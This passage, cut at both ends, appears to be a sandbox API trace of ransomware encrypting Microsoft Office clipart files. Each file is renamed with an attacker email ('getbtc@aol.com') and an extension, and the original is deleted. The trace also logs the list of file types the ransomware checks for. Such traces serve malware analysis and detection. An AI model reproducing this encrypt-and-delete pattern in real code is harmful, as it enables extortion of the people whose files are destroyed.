office\\clipart\\pub60cor\\j0185670.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0264.673] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=7304) returned 1 [0264.683] CloseHandle (hObject=0x3a0) returned 1 [0264.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185670.wmf")) returned 0x20 [0264.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185670.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185670.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0264.686] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.686] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185670.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0264.700] GetLastError () returned 0x0 [0264.700] ReadFile (in: hFile=0x37c, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x1c88, lpOverlapped=0x0) returned 1 [0264.711] WriteFile (in: hFile=0x390, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x1c90, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x1c90, lpOverlapped=0x0) returned 1 [0264.712] ReadFile (in: hFile=0x37c, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0264.712] WriteFile (in: hFile=0x390, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0264.712] SetEndOfFile (hFile=0x390) returned 1 [0264.712] CloseHandle (hObject=0x390) returned 1 [0264.712] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.712] SetEndOfFile (hFile=0x37c) returned 1 [0264.714] CloseHandle (hObject=0x37c) returned 1 [0264.714] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.829] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185670.wmf")) returned 1 [0264.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF") returned 63 [0264.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF") returned 63 [0264.830] lstrlenW (lpString=".doc") returned 4 [0264.830] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.830] lstrlenW (lpString=".docx") returned 5 [0264.830] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0264.830] lstrlenW (lpString=".pdf") returned 4 [0264.830] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.830] lstrlenW (lpString=".xls") returned 4 [0264.830] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.830] lstrlenW (lpString=".xlsx") returned 5 [0264.830] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0264.830] lstrlenW (lpString=".ppt") returned 4 [0264.830] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF") returned 63 [0264.830] lstrlenW (lpString=".zip") returned 4 [0264.830] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.830] lstrlenW (lpString=".rar") returned 4 [0264.830] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.830] lstrlenW (lpString=".bz2") returned 4 [0264.830] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.830] lstrlenW (lpString=".7z") returned 3 [0264.830] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF") returned 63 [0264.830] lstrlenW (lpString=".dbf") returned 4 [0264.830] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF") returned 63 [0264.831] lstrlenW (lpString=".1cd") returned 4 [0264.831] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF") returned 63 [0264.831] lstrlenW (lpString=".jpg") returned 4 [0264.831] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF") returned 63 [0264.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF") returned 63 [0264.831] lstrlenW (lpString=".doc") returned 4 [0264.831] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.831] lstrlenW (lpString=".docx") returned 5 [0264.831] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0264.831] lstrlenW (lpString=".pdf") returned 4 [0264.831] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.831] lstrlenW (lpString=".xls") returned 4 [0264.831] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.831] lstrlenW (lpString=".xlsx") returned 5 [0264.831] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0264.831] lstrlenW (lpString=".ppt") returned 4 [0264.831] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF") returned 63 [0264.831] lstrlenW (lpString=".zip") returned 4 [0264.831] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.831] lstrlenW (lpString=".rar") returned 4 [0264.831] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.831] lstrlenW (lpString=".bz2") returned 4 [0264.831] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.831] lstrlenW (lpString=".7z") returned 3 [0264.831] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF") returned 63 [0264.831] lstrlenW (lpString=".dbf") returned 4 [0264.831] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF") returned 63 [0264.832] lstrlenW (lpString=".1cd") returned 4 [0264.832] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185670.WMF") returned 63 [0264.832] lstrlenW (lpString=".jpg") returned 4 [0264.832] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.832] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0264.832] lstrlenW (lpString="J0185800.WMF") returned 12 [0264.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185800.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0264.867] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=24238) returned 1 [0264.867] CloseHandle (hObject=0x3a0) returned 1 [0264.867] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185800.wmf")) returned 0x20 [0264.878] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185800.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185800.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0264.878] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.878] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185800.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0264.879] GetLastError () returned 0x0 [0264.879] ReadFile (in: hFile=0x3a8, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x5eae, lpOverlapped=0x0) returned 1 [0264.885] WriteFile (in: hFile=0x3a0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x5eb0, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x5eb0, lpOverlapped=0x0) returned 1 [0264.886] ReadFile (in: hFile=0x3a8, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0264.886] WriteFile (in: hFile=0x3a0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0264.887] SetEndOfFile (hFile=0x3a0) returned 1 [0264.902] CloseHandle (hObject=0x3a0) returned 1 [0264.902] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.902] SetEndOfFile (hFile=0x3a8) returned 1 [0264.904] CloseHandle (hObject=0x3a8) returned 1 [0264.904] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.904] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185800.wmf")) returned 1 [0264.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF") returned 63 [0264.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF") returned 63 [0264.905] lstrlenW (lpString=".doc") returned 4 [0264.905] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.905] lstrlenW (lpString=".docx") returned 5 [0264.905] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0264.905] lstrlenW (lpString=".pdf") returned 4 [0264.905] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.905] lstrlenW (lpString=".xls") returned 4 [0264.905] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.905] lstrlenW (lpString=".xlsx") returned 5 [0264.905] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0264.905] lstrlenW (lpString=".ppt") returned 4 [0264.905] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.905] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF") returned 63 [0264.905] lstrlenW (lpString=".zip") returned 4 [0264.905] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.905] lstrlenW (lpString=".rar") returned 4 [0264.905] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.905] lstrlenW (lpString=".bz2") returned 4 [0264.905] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.905] lstrlenW (lpString=".7z") returned 3 [0264.906] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF") returned 63 [0264.906] lstrlenW (lpString=".dbf") returned 4 [0264.906] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF") returned 63 [0264.906] lstrlenW (lpString=".1cd") returned 4 [0264.906] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF") returned 63 [0264.906] lstrlenW (lpString=".jpg") returned 4 [0264.906] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF") returned 63 [0264.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF") returned 63 [0264.906] lstrlenW (lpString=".doc") returned 4 [0264.906] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0264.906] lstrlenW (lpString=".docx") returned 5 [0264.906] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0264.906] lstrlenW (lpString=".pdf") returned 4 [0264.906] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0264.906] lstrlenW (lpString=".xls") returned 4 [0264.906] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0264.906] lstrlenW (lpString=".xlsx") returned 5 [0264.906] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0264.906] lstrlenW (lpString=".ppt") returned 4 [0264.906] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0264.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF") returned 63 [0264.906] lstrlenW (lpString=".zip") returned 4 [0264.906] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0264.906] lstrlenW (lpString=".rar") returned 4 [0264.906] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0264.906] lstrlenW (lpString=".bz2") returned 4 [0264.906] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0264.906] lstrlenW (lpString=".7z") returned 3 [0264.906] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0264.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF") returned 63 [0264.906] lstrlenW (lpString=".dbf") returned 4 [0264.906] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0264.906] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF") returned 63 [0264.906] lstrlenW (lpString=".1cd") returned 4 [0264.907] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0264.907] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185800.WMF") returned 63 [0264.907] lstrlenW (lpString=".jpg") returned 4 [0264.907] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0264.907] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0264.907] lstrlenW (lpString="J0185828.WMF") returned 12 [0264.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185828.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0264.907] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=7796) returned 1 [0264.907] CloseHandle (hObject=0x3a8) returned 1 [0264.907] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185828.wmf")) returned 0x20 [0264.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185828.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185828.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0264.908] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.908] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.908] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185828.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0264.909] GetLastError () returned 0x0 [0264.909] ReadFile (in: hFile=0x3a8, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x1e74, lpOverlapped=0x0) returned 1 [0265.076] WriteFile (in: hFile=0x3a0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0x1e80, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0x1e80, lpOverlapped=0x0) returned 1 [0265.077] ReadFile (in: hFile=0x3a8, lpBuffer=0x37e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesRead=0x2f1fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.077] WriteFile (in: hFile=0x3a0, lpBuffer=0x37e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37e0020*, lpNumberOfBytesWritten=0x2f1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.077] SetEndOfFile (hFile=0x3a0) returned 1 [0265.077] CloseHandle (hObject=0x3a0) returned 1 [0265.077] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f1fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.077] SetEndOfFile (hFile=0x3a8) returned 1 [0265.079] CloseHandle (hObject=0x3a8) returned 1 [0265.079] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.079] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0185828.wmf")) returned 1 [0265.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF") returned 63 [0265.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF") returned 63 [0265.080] lstrlenW (lpString=".doc") returned 4 [0265.080] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.080] lstrlenW (lpString=".docx") returned 5 [0265.080] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0265.080] lstrlenW (lpString=".pdf") returned 4 [0265.080] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.080] lstrlenW (lpString=".xls") returned 4 [0265.080] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.080] lstrlenW (lpString=".xlsx") returned 5 [0265.080] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0265.080] lstrlenW (lpString=".ppt") returned 4 [0265.080] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF") returned 63 [0265.080] lstrlenW (lpString=".zip") returned 4 [0265.080] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.080] lstrlenW (lpString=".rar") returned 4 [0265.080] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.080] lstrlenW (lpString=".bz2") returned 4 [0265.080] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.080] lstrlenW (lpString=".7z") returned 3 [0265.081] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF") returned 63 [0265.081] lstrlenW (lpString=".dbf") returned 4 [0265.081] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF") returned 63 [0265.081] lstrlenW (lpString=".1cd") returned 4 [0265.081] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF") returned 63 [0265.081] lstrlenW (lpString=".jpg") returned 4 [0265.081] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF") returned 63 [0265.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF") returned 63 [0265.081] lstrlenW (lpString=".doc") returned 4 [0265.081] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.081] lstrlenW (lpString=".docx") returned 5 [0265.081] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0265.081] lstrlenW (lpString=".pdf") returned 4 [0265.081] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.081] lstrlenW (lpString=".xls") returned 4 [0265.081] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.081] lstrlenW (lpString=".xlsx") returned 5 [0265.081] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0265.081] lstrlenW (lpString=".ppt") returned 4 [0265.081] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF") returned 63 [0265.081] lstrlenW (lpString=".zip") returned 4 [0265.081] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.081] lstrlenW (lpString=".rar") returned 4 [0265.081] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.081] lstrlenW (lpString=".bz2") returned 4 [0265.081] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.081] lstrlenW (lpString=".7z") returned 3 [0265.081] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.081] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF") returned 63 [0265.081] lstrlenW (lpString=".dbf") returned 4 [0265.081] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF") returned 63 [0265.082] lstrlenW (lpString=".1cd") returned 4 [0265.082] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0185828.WMF") returned 63 [0265.082] lstrlenW (lpString=".jpg") returned 4 [0265.082] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.082] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0265.082] lstrlenW (lpString="J0187837.WMF") returned 12 [0265.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187837.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0265.327] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2f1ff1c | out: lpFileSize=0x2f1ff1c*=16354) returned 1 [0265.327] CloseHandle (hObject=0x3c4) returned 1 [0265.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187837.wmf")) returned 0x20 [0265.346] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 